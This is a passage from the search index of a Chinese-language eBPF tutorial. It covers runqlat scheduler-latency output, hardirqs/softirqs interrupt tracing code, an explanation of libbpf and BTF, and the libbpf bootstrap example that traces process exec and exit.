[--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d ] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 